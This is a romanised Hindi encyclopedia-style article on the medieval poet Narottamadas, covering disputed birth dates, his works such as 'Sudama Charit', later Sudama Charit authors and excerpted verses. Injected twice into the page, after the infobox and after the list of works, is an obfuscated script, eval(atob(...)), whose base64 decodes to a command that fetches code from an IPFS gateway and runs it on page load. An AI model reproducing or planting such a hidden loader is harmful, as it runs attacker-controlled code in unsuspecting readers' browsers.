नरोत्तमदास

narottamadas |200px|center poora nam narottamadas janm san 1493 (sanvat- 1550) janm bhoomi va di, sitapur, uttar pradesh mrityu ajnat karm-kshetr kavi mukhy rachanaean sudama charit, dhruv-charit vishay sagun bhakti bhasha avadhi, hindi, brajabhasha nagarikata bharatiy inhean bhi dekhean kavi soochi, sahityakar soochi <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

narottamadas ki rachanaean sudama charit -narottamadas dhruv charit -narottamadas nam sankirtan -narottamadas vicharamala -narottamadas <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

narottamadas hindi ke pramukh sahityakar the. hindi sahity mean aise log virale hi haian jinhoanne matr ek ya do rachanaoan ke adhar par hindi sahity mean apana sthan sunishchit kiya hai. ek aise hi kavi haian, uttar pradesh ke sitapur janapad mean janme kavi narottamadas, jinaka ekamatr khand-kavy ‘sudama charit’ (brajabhasha mean) milata hai jo hindi sahity ki amooly dharohar mani jati hai.

jivan parichay

narottamadas sitapur zile ke va di namak kasbe ke rahane vale the. inaki jati ka ullekh kahian nahian milata. inaka 'sudamacharitr' granth bahut prasiddh hai. isamean narottamadas ne sudama ke ghar ki daridrata ka bahut hi suandar varnan hai. yadyapi yah chhota hai, tathapi isaki rachana bahut hi saras aur hridayagrahini hai aur kavi ki bhavukata ka parichay deti hai. bhasha bhi bahut hi parimarjit aur vyavasthit hai. bahutere kaviyoan ke saman bharati ke shabd aur vaky isamean nahian haian. kuchh logoan ke anusar inhoanne isi prakar ka ek aur khandakavy 'dhruvacharit' bhi likha hai. par vah kahian dekhane mean nahian aya.

janm matabhed

thumb|left|mahakavi narottamadas ka durlabh chitr

• ‘shiv sianh saroj’ mean samvath 1602 tak inake jivit hone ki bat kahi gee hai. in panktiyoan ke lekhak ke adaraniy svargiy pitamah tatha adaraniy pitashri ko badi ke sannikat sthit gram allipur ka mool nivasi hone ke karan is mahanh kavi ke janmasthal par aangrezoan ke samay se chalane vale ekamatr vidyalay se shiksha prapt karane ka saubhagy mila hai jisase vahaan prachalit janashrutiyoan ko nikatata se sunane ka avasar prapt hua hai. vahaan prachalit janashrutiyoan ke adhar par yah jnat hua hai ki ye kanyakubj brahman the.
• isake atirikt inake sanbandh mean any pramanik abhilekhoan mean ‘jarj griyarsan’ ka adhyayan hai, jisamean unhoanne mahakavi ka janmakal samvath 1610 mana hai. vastutah inake janmakal ke sambandh mean anek vidvanoan ne apane -apane mat pragat kie haian parantu ‘shiv sianh seangar’ v ‘jarj griyarsan’ ke mat adhik samichin v pramanit pratit hote hai jisake adhar par ‘sudama charit’ ka rachana kal samvath 1582 mean n hokar sanh 1582 arthath samvath 1636 hota hai.

thumb|left|mahakavi narottamadas parisar ki durdasha par alekh 1991

• achary hajari prasad dvivedi ne ‘hindi sahity’ mean narottamadas ke janm ka ullekh samvath 1545 mean hona svikar kiya hai. is prakar anek vidvanoan ke matoan ke adhar par inake jivanakal ka nirdharan upalabdh sakshyoan ke alok mean 1493 ee. se 1582 ee. kiya gaya hai.

rachana parichay

pan. ganesh bihari mishr ki ‘mishrabandhu vinod’ ke anusar 1900 ki khoj mean inaki kuchh any rachanaoan ‘vichar mala’ tatha ‘dhruv-charit’ aur ‘nam-sankirtan’ ke sanbandh mean bhi janakariyaan milati haian parantu is sanbandh mean ab tak pramanikata ka abhav hai. nagari pracharini sabha, varanasi, ki ek khoj riport mean bhi ‘vicharamala’ v ‘nam-sankirtan’ ki anupalabdhata ka varnan hai. ‘dhruv-charit’ aanshik roop se upalabdh hai jisake 28 chhand ‘rasavati’ patrika mean 1968 aank mean prakashit hue. sidhauli patrakar sangh ke adhyaksh shri haridayal avasthi ne narottamadas ki hastalikhit ‘sudama charit’ ke 9 prishth prapt karane ka bhi dava kiya hai parantu yah hastalikhit kriti lakhanoo vishvavidyalay ke poorv kulapati ke pas kafi samay tak pramanikata ki parikshan ke lie padi rahi, parantu nirnay n ho saka. thumb|right|mahakavi narottamadas janmasthali parisar 2011 ‘sudama charit’ ke sanbandh mean achary ramachandr shukl ne kaha haiah-

‘yadyapi yah chhota hai par isaki rachana bahut saras aur hridayagrahini hai aur kavi ki bhavukata ka parichay deti hai bhasha bhi bahut parimarjit hai aur vyavasthit hai. bahutere kaviyoan k saman arabi ke shabd aur vaky isamean nahian hai.’

thumb|right|narottamadas janmasthali parisar mean sthapit mahakavi ki moortian d aau. nagendr ne apane grath ‘ritikalin kaviyoan ki ki samany visheshataean, khand -2, adhyay- 4’ mean sabase pahale ‘savaiyoan’ ka prayog karane vale kaviyoan ki shreni mean narottamadas ko rakha hean ‘kavitt’ (ghanakshari) ka prayog bhi sarvapratham narottamadas ne hi kiya tha. yah vidha akabar ke samakalin any kaviyoan ne apanayi thi . d aau. ramakumar varma ne narottamadas ke kavy ke sandarbh mean likha haiah-
‘katha sangathan,’ ‘natakiyata’, ‘vidha=n, bhav, bhasha, dvandv’ adi sabhi drishtiyoan se narottamadas krit sudama charit shreshth rachana hai.’

narottamadas ki rachanaean

1. sudama charit, khand kaby (brajabhasha mean sanpadit sankalan)
2. ‘dhruv-charit’, 28 chhand ‘rasavati’ patrika mean 1968 aank mean prakashit
3. ‘nam-sankirtan’, ab tak aprapt, (pramanikata ka abhav)
4. 'vicharamala’, ab tak aprapt, (pramanikata ka abhav)

kitane sudama charit?

hiandi mean sudama charitoan ki paranpara milati hai. nandadas ke sudamacharit ke bad narottamadas ka hi lekhan is vishay par milata hai. nand das ka sudamacharit vah lokapriyata nahian pa saka jo pandravahavian sadi mean 1582 sanvat mean narottamadas ka kavyamay sudamacharit pane mean saphal raha. sudama charit likhane ka silasila isake uparaant bhi jari raha aur sudama charit ke yashasvi lekhakoan ke roop mean alam ka nam bhi ata hai jisane sanvat 1623 mean sudama charit likha. isi kadi mean rajasthan nivasi shivadin ram joshi ka nam bhi liya jata hai. sankshep mean ab tak sudama charitoan ki sankhya nimn prakar hai

• pandrahavi sadi 1582 narottamadas rachit sudama charit
• solahavian sadi 1623 alam rachit sudama charit
• 17 vi shati kaliram 1731
• makhan kavi rachit 18 vi shati vikram
• balakadas 1890
• maharajadas 1919
• shivadin ram joshi 1957 (lagabhag)

panjabi mean d aau. manamohan sahagal ne ullekh kiya hai ki sudama charit paranpara se bhinn any kaviyoan ne bhi sudama charitr shabd ka hi upayog kiya hai.

sudama charit -narottamadas (sankshipt)

vipr sudama basat haian, sada apane dham. bhikh maangi bhojan karaian, hiye japat hari-nam॥3॥	taki gharani pativrata, gahai ved ki riti. salaj sushil subuddhi ati, pati seva sauan priti॥4॥	kahyau sudama ek din, krisn hamare mitr. karat rahati upades guru, aiso param vichitr॥5॥
(sudama ki patni) lochan-kamal, dukh mochan, tilak bhal, sravanani kuandal, mukut dhare math haian. odhe pit basan, gare mean baijayanti mal, sankh-chakr-gada aur padm liye hath haian. vidv narottam sandipani guru ke pas, tum hi kahat ham padhe ek sath haian. dvarika ke gaye hari darid haraiange piy, dvarika ke nath vai anathan ke nath haian॥8॥	(sudama) sichchhak hauan, sigare jag ko tiy, tako kahaan ab deti hai sichchha. je tap kai paralok sudharat, sanpati ki tinake nahi ichchha॥ mere hiye hari ke pad-pankaj, bar hajar lai dekhi parichchha. auran ko dhan chahiye bavari, brahman ko dhan keval bhichchha॥9॥	(sudama ki patni) kodoan, savaan jurito bhari pet, tau chahati na dadhi doodh mathauti. sit bititat jau sisiyatahian, hauan hathati pai tumhean n hathauti॥ jo janati n hitoo hari soan tumhean, kahe ko dvarika peli pathauti. ya ghar te n gayau kabahooan piy, tooto tava aru phooti kathauti॥10॥
(sudama) chhaan di sabai jak tohi lagi bak, athahu jam yahai jhak thani. jatahi daihaian, laday ladha bhari, laihaian laday yahai jiy jani॥ paanu kahaan te atari ata, jinako vidhi dinhi hai tooti si chhani. jo pai daridr likho hai lalat tau, kahu pai meti n jat ayani॥13॥	(sudama ki patni) vipr ke bhagat hari jagat vidit bandhu, let sab hi ki sudhi aise mahadani haian. padhe ek chatasar kahi tum kaiyo bar, lochan apar vai tumhaian n pahichani haian. ek dinabandhu kripasiandhu pheri gurubandhu, tum sam kaun din jakau jiy jani haian. nam lete chauguni, gaye tean dvar sauguni so, dekhat sahastr guni priti prabhu mani haian॥20॥	(sudama) dvarika jahu joo dvarika jahu joo, athahu jam yahai jhak tere. jau n kahau kariye to b dau dukh, jaiye kahaan apani gati here॥ dvar khare prabhu ke chhariya tahan, bhoopati jan n pavat nere. paanch supari tai dekhu bichar kai, bheant ko chari n chaur mere॥23॥
yah suni kai tab brahmani, gee parosi pas. pav ser chaur liye, aee sahit hulas॥24॥ siddhi kari ganapati sumiri, baandhi dupatiya khooant. maangat khat chale tahaan, marag vali boot॥25॥	dithi chakachauandhi gee dekhat subarnamee, ek tean saras ek dvarika ke bhaun haian. poochhe bin kooo kahooan kahoo soan n kare bat, devata se baithe sab sadhi-sadhi maun haian.	dekhat sudama dhay paurajan gahe paany, kripa kari kahau vipr kahaan kinhau gaun haian. dhiraj adhir ke haran par pir ke, batao balavir ke mahal yahaan kaun haian?॥30॥
(shrikrishna ka dvarapal) sis paga n jhaga tan mean prabhu, janai ko ahi basai kehi grama. dhoti phati-si lati dupati aru, paany upanah ki nahian sama॥ dvar khadyo dvij durbal ek, rahyau chakisauan vasudha abhirama. poochhat din dayal ko dham, batavat apano nam sudama॥II35II	bolyau dvarapal sudama nam paan de suni, chhaan de raj-kaj aise ji ki gati janai ko? dvarika ke nath hath jori dhay gahe paany, bheantat lapatay kari aise dukh sanai ko? nain dooo jal bhari poochhat kusal hari, bipr bolyauan vipada mean mohi pahichane ko? jaisi tum karau taisi karai ko kripa ke siandhu, aisi priti dinabandhu! dinan sau mane ko?II 36II	aise behal bevain soan pag, kantak-jal lage puni joye. hay! mahadukh payo sakha tum, aye itai n kite din khoye॥ dekhi sudama ki din dasa, karuna karike karunanidhi roye. pani parat ko hath chhuyo nahian, nainan ke jal sauan pag dhoye॥ II42II
(shri krishna) kachhu bhabhi hamako diyau, so tum kahe n det. chaanpi potari kaankh mean, rahe kahau kehi het॥II 46II	age chana guru-matu diye t, liye tum chabi hamean nahian dine. shyam kahyau musukay sudama soan, chori ki bani mean hau joo pravine॥ potari kaankh mean chaanpi rahe tum, kholat nahian sudha-ras bhine. pachhili bani ajauan n taji tum, taisi bhabhi ke tandul kine॥ II47II	deno hutau so dai chuke, bipr n jani gath. chalati ber gopal joo, kachhoo n dinhauan hath॥II 60II
vah pulakani vah uth milani, vah adar ki bhaanti. yah pathavani gopal ki, kachhoo na jani jati॥II61II	ghar-ghar kar o dat phire, tanak dahi ke kaj. kaha bhayau jo ab bhayau, hari ko raj-samaj॥II62II	hauan kab it avat hutau, vahi pathyau theli. kahihauan dhani sauan jaikai, ab dhan dharau sakeli॥II63II
vaisei raj-samaj bane, gaj-baji ghane, man sanbhram chhayau. vaisei kanchan ke sab dham haian, dvarike ke mahiloan phiri ayau. bhaun bilokibe ko man lochat sochat hi sab gaanv manjhayau. poochhat paan de phiraian sabasoan par jhopari ko kahooan khoj n payau॥II70II kanak-dand kar mean liye, dvarapal haian dvar. jay dikhayau sabani laian, ya hai mahal tumhar॥II73I	tooti si m daiya meri pari huti yahi thaur, tamaian paro dukh katauan kahaan hem-dham ri. jevar-jaraoo tum saje prati aang-aang, sakhi sohai sang vah chhoochhi huti chham ri. tum to patanbar ri odhe kinaridar, sari jaratari vah odhe kari kamari. meri va pandain tihari anuhar hi pai, vipada sataee vah paee kahaan pamari?II80II	kai vah tooti-si chhani hati kahaan, kanchan ke sab dham suhavat. kai pag mean panahi n hati kahan, lai gajarajahu thadhe mahavat॥ bhoomi kathor pai rat katai kahaan, komal sej pai niand n avat. kaian jurato nahian kodo savaan prabhu, ke paratap tai dakh n bhavat॥ II119II

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

bahari k diyaan

• akshay kirti ke bhagi narottamadas
• hindi sahity ka itihas (googal buks)